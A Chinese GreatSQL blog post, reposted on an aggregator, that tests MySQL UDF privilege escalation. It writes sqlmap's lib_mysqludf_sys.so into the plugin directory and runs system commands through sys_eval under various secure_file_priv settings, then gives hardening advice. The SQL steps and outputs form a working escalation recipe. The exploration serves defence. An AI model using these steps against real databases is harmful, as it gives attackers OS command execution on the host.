MySQL UDF 提权初探

news/2024/11/20 8:36:34/文章来源:https://www.cnblogs.com/greatsql/p/18346481

MySQL UDF 提权初探

对 MySQL UDF 提权做一次探究,什么情况下可以提权,提取的主机权限是否跟mysqld进程启动的主机账号有关

数据库信息

MySQL数据库版本:5.7.21

UDF

UDF:(User Defined Function) 用户自定义函数,MySQL数据库的初衷是用于方便用户进行自定义函数,方便查询一些复杂的数据,同时也有可能被攻击者利用,使用udf进行提权。

提权原理:攻击者通过编写调用cmd或者shell的共享库文件(window为.dll,linux为.so),并且导入到一个指定的文件夹目录下,创建一个指向共享库文件的自定义函数,从而在数据库中的查询就等价于在cmd或者shell中执行命令。

执行过程:本质上还是利用了MySQL能够执行系统命令的特点。具体过程如下

(1)攻击者编写一些可以调用cmd或者shell的共享库文件(window为.dll,linux为.so),将共享库导入指定的函数目录中。

(2)在MySQL中创建指向共享库文件的自定义函数。

(3)通过刚刚创建的函数执行系统命令,实现提权。

漏洞详情

当mysql配置secure_file_priv项为空或者secure_file_priv项为plugin文件夹,且可以用弱口令登录数据库,存在udf提权漏洞。

  1. 查看漏洞利用条件:secure_file_priv为空或者为plugin文件夹,可以登录数据库,存在plugin文件夹

  2. 将udf.so文件导入相关plugin文件夹下

  3. 使用udf创建自定义函数
    Create function sys_eval returns string soname ‘udf.so’;

  4. 使用自定义函数执行任意代码执行:

获取so文件

$ git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
python3 cloak.py -d -i /tmp/sqlmap-dev/data/udf/mysql/linux/64/lib_mysqludf_sys.so_$ ll /tmp/sqlmap-dev/data/udf/mysql/linux/64/
-rw-rw-r-- 1 mysql mysql 8040 May 21 15:17 lib_mysqludf_sys.so
-rw-rw-r-- 1 mysql mysql 3200 May 21 15:17 lib_mysqludf_sys.so_

root账号拉起mysqld进程

secure_file_priv=''

mysql> show variables like '%secure_file_priv%';
+------------------+----------------+
| Variable_name    | Value          |
+------------------+----------------+
| secure_file_priv |                |
+------------------+----------------+
mysql> show variables like '%plugin%';
+-------------------------------+------------------------------------+
| Variable_name                 | Value                              |
+-------------------------------+------------------------------------+
| default_authentication_plugin | mysql_native_password              |
| plugin_dir                    | /mysql/svr/mysql5721/lib/plugin/   |
+-------------------------------+------------------------------------+
#导入so文件成功
mysql> create table foo(line blob);
Query OK, 0 rows affected (0.03 sec)mysql> insert into foo values(load_file('/tmp/sqlmap-dev/data/udf/mysql/linux/64/lib_mysqludf_sys.so'));
Query OK, 1 row affected (0.01 sec)
#导出so文件到plugin_dir下成功
mysql> select * from foo into dumpfile '/mysql/svr/mysql5721/lib/plugin/lib_mysqludf_sys.so';
Query OK, 1 row affected (0.01 sec)
#创建自定义函数成功
mysql> create function sys_eval returns string soname "lib_mysqludf_sys.so";
Query OK, 0 rows affected (0.00 sec)
#调用函数成功
mysql> select sys_eval('whoami');
+--------------------+
| sys_eval('whoami') |
+--------------------+
| root               |
+--------------------+
1 row in set (0.02 sec)mysql> show variables like '%secure_file_priv%';
+------------------+----------------+
| Variable_name    | Value          |
+------------------+----------------+
| secure_file_priv | /home/mysql/   |
+------------------+----------------+
mysql> show variables like '%plugin%';
+-------------------------------+------------------------------------+
| Variable_name                 | Value                              |
+-------------------------------+------------------------------------+
| default_authentication_plugin | mysql_native_password              |
| plugin_dir                    | /mysql/svr/mysql5721/lib/plugin/   |
+-------------------------------+------------------------------------+
#创建中间表
mysql> create table foo(line blob);
Query OK, 0 rows affected (0.03 sec)
#导入so文件成功
mysql> insert into foo values(load_file('/tmp/sqlmap-dev/data/udf/mysql/linux/64/lib_mysqludf_sys.so'));
Query OK, 1 row affected (0.01 sec)
#导出so文件到plugin_dir下失败
mysql> select * from foo into dumpfile '/mysql/svr/mysql5721/lib/plugin/lib_mysqludf_sys.so';
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
#导出so文件到secure_file_priv
mysql> select * from foo into dumpfile '/home/mysql/lib_mysqludf_sys.so';
Query OK, 1 row affected (0.00 sec)
#通过plugin的so创建自定义函数失败
mysql> create function sys_eval returns string soname "lib_mysqludf_sys.so";
ERROR 1126 (HY000): Can't open shared library 'lib_mysqludf_sys.so' (errno: 0 /mysql/svr/mysql-5.7.21-linux-glibc2.12-x86_64/lib/plugin/lib_mysqludf_sys.so: cannot open shared object file: No such file or)

secure_file_priv=dirname(secure_file_priv和plugin_dir路径一致)

#plugin_dir路径下有so文件了
#直接创建自定义函数
mysql> create function sys_eval returns string soname "lib_mysqludf_sys.so";
Query OK, 0 rows affected (0.00 sec)
#调用函数成功
mysql> select sys_eval('whoami');
+--------------------+
| sys_eval('whoami') |
+--------------------+
| root               |
+--------------------+
1 row in set (0.02 sec)

secure_file_priv=null

mysql> show variables like '%secure_file_priv%';
+------------------+-------+
| Variable_name    | Value |
+------------------+-------+
| secure_file_priv | null  |
+------------------+-------+
1 row in set (0.01 sec)
mysql> show variables like '%plugin%';
+-------------------------------+------------------------------------+
| Variable_name                 | Value                              |
+-------------------------------+------------------------------------+
| default_authentication_plugin | mysql_native_password              |
| plugin_dir                    | /mysql/svr/mysql5721/lib/plugin/   |
+-------------------------------+------------------------------------+
#创建中间表
mysql> create table foo(line blob);
Query OK, 0 rows affected (0.03 sec)
#导入so文件成功
mysql> insert into foo values(load_file('/tmp/sqlmap-dev/data/udf/mysql/linux/64/lib_mysqludf_sys.so'));
Query OK, 1 row affected (0.01 sec)
#导出so文件到plugin_dir下失败
mysql> select * from foo into dumpfile '/mysql/svr/mysql5721/lib/plugin/lib_mysqludf_sys.so';
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
#通过plugin的so创建自定义函数失败
mysql> create function sys_eval returns string soname "lib_mysqludf_sys.so";
ERROR 1126 (HY000): Can't open shared library 'lib_mysqludf_sys.so' (errno: 0 /mysql/svr/mysql-5.7.21-linux-glibc2.12-x86_64/lib/plugin/lib_mysqludf_sys.so: cannot open shared object file: No such file or)

普通账号拉起mysqld进程

secure_file_priv=''

mysql> show variables like '%secure_file_priv%';
+------------------+----------------+
| Variable_name    | Value          |
+------------------+----------------+
| secure_file_priv |                |
+------------------+----------------+
mysql> show variables like '%plugin%';
+-------------------------------+------------------------------------+
| Variable_name                 | Value                              |
+-------------------------------+------------------------------------+
| default_authentication_plugin | mysql_native_password              |
| plugin_dir                    | /mysql/svr/mysql5721/lib/plugin/   |
+-------------------------------+------------------------------------+
#导入so文件成功
mysql> create table foo(line blob);
Query OK, 0 rows affected (0.03 sec)mysql> insert into foo values(load_file('/tmp/sqlmap-dev/data/udf/mysql/linux/64/lib_mysqludf_sys.so'));
Query OK, 1 row affected (0.01 sec)
#导出so文件到plugin_dir下成功
mysql> select * from foo into dumpfile '/mysql/svr/mysql5721/lib/plugin/lib_mysqludf_sys.so';
Query OK, 1 row affected (0.01 sec)
#创建自定义函数成功
mysql> create function sys_eval returns string soname "lib_mysqludf_sys.so";
Query OK, 0 rows affected (0.00 sec)
#调用函数成功
mysql> select sys_eval('whoami');
+--------------------+
| sys_eval('whoami') |
+--------------------+
| mysql              |
+--------------------+
1 row in set (0.06 sec)

余下的几种secure_file_priv=dirname(secure_file_priv和plugin_dir路径不一致),secure_file_priv=dirname(secure_file_priv和plugin_dir路径一致),secure_file_priv=null得出的结果是类似的,这里就不详细继续阐述了,全部写完可能篇数稍长。

总结

  • secure_file_priv

    • ''(empty string),不限制导入和导出的目录。只需将so写到plugin_dir,能创建so自定义函数。存在漏洞风险
    • dirname(指定目录),限制导入和导出为指定目录。如果指定的目录和plugin_dir相同,能正常创建so自定义函数,存在漏洞风险;否则不能创建so自定义函数
    • null,禁止导入和导出操作,不存在漏洞风险
  • 提权账号
    无论采用哪种方式启动数据库(systemctl start mysql、mysqld、mysqld_safe),提权后的账号根据mysqld进程uid确定

    $ ps -ef|head -1;ps -ef |grep 5721
    UID        PID  PPID  C STIME TTY          TIME CMD
    root     18371 11890  1 17:33 pts/21   00:00:00 /mysql/svr/mysql5721/bin/mysqld --defaults-file=/mysql/conf/mysql5721.cnf
    
  • 数据库账号的权限
    目标端需要能执行select...into dumpfile、创建函数权限

建议

  1. 使用普通账号启动数据库(配置文件中--user=mysql)
  2. secure_file_priv设置为null,禁止导入和导出操作;如果需要导入和导出,将secure_file_priv设置为非plugin_dir目录
  3. 数据库密码尽量复杂
  4. 关注plugin_dir是否有新增的不明来源的.so文件和关注数据库是否有新增不明来源的自定义函数

Enjoy GreatSQL 😃

关于 GreatSQL

GreatSQL是适用于金融级应用的国内自主开源数据库,具备高性能、高可靠、高易用性、高安全等多个核心特性,可以作为MySQL或Percona Server的可选替换,用于线上生产环境,且完全免费并兼容MySQL或Percona Server。

相关链接: GreatSQL社区 Gitee GitHub Bilibili

GreatSQL社区:

社区博客有奖征稿详情:https://greatsql.cn/thread-100-1-1.html

image-20230105161905827

技术交流群:

微信:扫码添加GreatSQL社区助手微信好友,发送验证信息加群

image-20221030163217640

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/779143.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

特殊字符,十六进制 0xa0导致的搜索问题

导致后端在处理的时候出现一些错误本文来自博客园,作者:chuangzhou,转载请注明原文链接:https://www.cnblogs.com/czzz/p/18346469

电路基础知识——常见晶振电路

电路基础知识——常见晶振电路 本文介绍了有源和无源晶振的特性,包括精度、稳定性、引脚配置以及晶振的选型参数,如工作电压、输出电平、频率精度等。此外,还讨论了晶振的类型,如SPXO、VCXO和TCXO,以及PCB设计中应注意的事项,如负载电容和热传导的影响。 有源晶振 有源晶…

后端开发学习敏捷需求--专题的目标与价值成效

专题的目标与价值成效 什么是专题公司或企业为了抓住业务机会或者解决痛点问题,而采取的具体的行动和举措专题的目标分析 1.业务调研了解目标的预期 利用5W2H来进行专题分析what——是什么?目的是什么?作什么工作?专题是什么 专题产生的背景是什么 专题的目标是什么,要达到…

大数据超全面入门干货知识,看这一篇就够了!

随着科技的飞速发展和互联网的普及,大数据已成为 21 世纪最炙手可热的话题之一。它像一面神秘的面纱,覆盖着现实世界,隐藏着无穷无尽的可能性。今天将带领大家一起揭开大数据这个未知世界的神秘面纱,带你了解大数据的概念、应用以及大数据相关组件。 一、什么是大数据大数据…

USB基础知识总结

USB基础知识总结 USB基本概念介绍 USB (Universal Serial Bus,通用串行总线)是1995年英特尔和微软等公司联合倡导发起的一种新的** PC 串行通信协议。它基于通用连接技术,实现外设的简单快速连接,达到方便用户、降低成本、扩展 PC 连接外设范围的目的。其最大特点是支持热插…

es6-string-html vscode插件 js里面template的高亮插件 无构建vue使用

es6-string-html vscode插件 js里面template的高亮插件 无构建vue使用 这个插件可以让js里面的template的字符串高亮,前面加 /*html*/Refference: 无构建和打包,浏览器直接吃上Vue全家桶? https://juejin.cn/post/7399094428343959552-------------------------------------…

mesh组网

转自Wi-Fi mesh技术介绍 (qq.com) 什么是FTTR FTTR是光纤到房间(Fiber to The Room)的缩写 十兆时代,光纤到楼,FTTB(Fiber to The Building) 百兆时代,光纤到户,FTTH(Fiber to The Home) 千兆时代,光纤到房间,FTTR(Fiber to The Room) FTTR是千兆时代家庭网络的…

js拖动调整元素宽度

dom结构,一个盒子中包含左中右是三个元素,resize为拖动元素,左侧固定宽度,右侧元素flex:1 css部分,拖动元素的样式,左右两边按实际情况修改 js部分:const handleResize = (leftMinWidth = 0, rightMinWidth = 200) => { const leftDom = document.getElementById(…

亮点功能 | 企业数据传输限速,应对多种场景,当然要精、准、稳!

企业在进行数据和文件传输时,会尽量提升传输速度来提高业务效率,但在一些特定情况下,传输速度并非越快越好,反之要对其进行限制、控制在一定范围内,这便是传输限速需求。传输限速需求普遍存在于不同领域和企业中,如云服务提供商、电信运营商、大型企业、事业单位以及金融…

LabVIEW的ActorFramework笔记

1 前置知识储备 自分布式计算出现以来,业界已经开始广泛研究基于消息传递编程模型的解决方案。关于消息传递,Wikipedia 描述其广泛定义主要包括:远程过程调用(Remote Procedure Calls, RPC) 和 消息传递接口(Message Passing Interface, MPI)。但是,如今我们所谈到的消…

数据跨境传输的安全合规风险如何规避?获取免费解决方案白皮书!

在全球化的背景下,企业进行有 效的资源整合,学习海外市场的先进技术和管理经验,寻找新的增长点,实现业务的多元化和 可持续发展,不仅有利于开辟新市场,更有助于巩固和增强企业在全球中的地位。在这种前景 下,越来越多的企业寻求更深度的跨国业务及合作,因此,企业数据跨…